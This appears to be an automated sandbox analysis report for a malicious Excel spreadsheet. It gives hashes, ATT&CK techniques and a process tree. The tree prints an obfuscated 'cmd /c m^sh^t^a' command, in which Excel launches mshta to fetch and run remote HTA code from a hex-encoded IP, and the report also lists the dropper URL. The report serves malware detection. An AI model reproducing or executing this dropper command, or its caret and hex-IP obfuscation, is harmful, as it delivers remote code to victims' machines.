cf010bfe6e85ff6fb9cae9aefd23e782665a3cdd3cc85e3f3f7754c12ff8e786

General

Target

cf010bfe6e85ff6fb9cae9aefd23e782665a3cdd3cc85e3f3f7754c12ff8e786.xls
Size

141KB
MD5

1482095c861d11dd62819d667f66df9f
SHA1

faeb924c14ca70dfd4f8534a65ff354a35618336
SHA256

cf010bfe6e85ff6fb9cae9aefd23e782665a3cdd3cc85e3f3f7754c12ff8e786
SHA512

7201c08488f36934747551968a960590ea4989db9ea204d81e48d52babd78555872e1f24f5e56ac47417416ac80758b5d4c986bfc033f75ae32d1fbeb2f2650d
SSDEEP

3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4060	1036	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	3812	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1036	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1036	EXCEL.EXE
1036	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE
1036	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1036 wrote to memory of 1116	1036	EXCEL.EXE	86
PID 1036 wrote to memory of 1116	1036	EXCEL.EXE	86
PID 1036 wrote to memory of 4060	1036	EXCEL.EXE	91
PID 1036 wrote to memory of 4060	1036	EXCEL.EXE	91
PID 4060 wrote to memory of 3812	4060	cmd.exe	93
PID 4060 wrote to memory of 3812	4060	cmd.exe	93

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cf010bfe6e85ff6fb9cae9aefd23e782665a3cdd3cc85e3f3f7754c12ff8e786.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1036
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
2bd2a9baafa43c55623a3a6d2f756b77

SHA1
d1076424794e4c714368be2761c83c5d8f998a1d

SHA256
a64521184ce8c662a3fb2d15029e7953a62928961a87f619b8dff3a34e041ff7

SHA512
8b8942fea703d1b435d4afa7ba696792e76cb06b3fdddf6c1eca13ba59754eac4cf744e88f3eed9e84107f936418a989968aefa7d5281a9e0730523d7c44653d

Download Submit
memory/1036-9-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-5-0x00007FFED5050000-0x00007FFED5060000-memory.dmp

Filesize
64KB

Download
memory/1036-6-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-8-0x00007FFED5050000-0x00007FFED5060000-memory.dmp

Filesize
64KB

Download
memory/1036-11-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-13-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-12-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-14-0x00007FFED2800000-0x00007FFED2810000-memory.dmp

Filesize
64KB

Download
memory/1036-0-0x00007FFED5050000-0x00007FFED5060000-memory.dmp

Filesize
64KB

Download
memory/1036-10-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-4-0x00007FFED5050000-0x00007FFED5060000-memory.dmp

Filesize
64KB

Download
memory/1036-7-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-15-0x00007FFED2800000-0x00007FFED2810000-memory.dmp

Filesize
64KB

Download
memory/1036-3-0x00007FFED5050000-0x00007FFED5060000-memory.dmp

Filesize
64KB

Download
memory/1036-2-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-26-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-27-0x00007FFF1506D000-0x00007FFF1506E000-memory.dmp

Filesize
4KB

Download
memory/1036-28-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-29-0x00007FFF14FD0000-0x00007FFF151C5000-memory.dmp

Filesize
2.0MB

Download
memory/1036-1-0x00007FFF1506D000-0x00007FFF1506E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads